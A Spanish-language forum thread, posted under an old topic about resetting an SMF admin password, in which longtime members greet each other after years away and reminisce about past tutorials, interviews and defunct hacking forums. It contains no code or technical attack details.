Saludos a todos muchachos y me alegro que estén bien. Muchos años que no pasaba por el foro.
Saludos.


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 15 Septiembre 2020, 11:57 am
¿Un par de años? jeje

Y vienes ahora, ¿después de 10 años a contarlo? Podrías haber pasado antes a saludar xD

A mi me recuerda a los ataques del tipo Blind SQL Injection.

hahahhaa, si. A decir verdad muchos años después personas desde distintos lados me comentaron que lo que mas se acuerdan es de algunos tutoriales y de ese preciso post. 

Voy a ver si paso mas seguido!

Apareciste! pensé que te habian abducido o algo así xD

Saludos.

jajajajja yo tambien pense lo mismo.   :xD



Nooooooooooooooo aparecieron todos ?.
Tantos años jajajajaaja Oz ......... recuerdo cuando me comentaste aquello y lo revisamos alguna vez via irc jajajajaaja que tiempos aquellos.

WHK como olvidar sus entrevistas jajajaaja, muy interesantes, con personajes que entregaban mucha información relevante, entretenida etc no lo digo porque me entrevisto a mi, sino que a otros personajes con mucha connotación......te falto la entrevista a CODEBREAK que ahora que lo recuerdo, falta el y hacemos su Party Hacker jajajajajaja

Saludos a todos muchachos y me alegro que estén bien. Muchos años que no pasaba por el foro.
Saludos.


jajajajaa dios mio.
codebreak verdad, nunca mas supe de el.



Me di una vuelta por varios foros, dragonjar ya no ocupa foros en si, portal y el .com tambien murio.

Este es el único foro de ese entonces.

Que paciencia !   ;-)


Espero pasar mas seguido! tenia ganas de seguir escribiendo algunos temas!


Oz.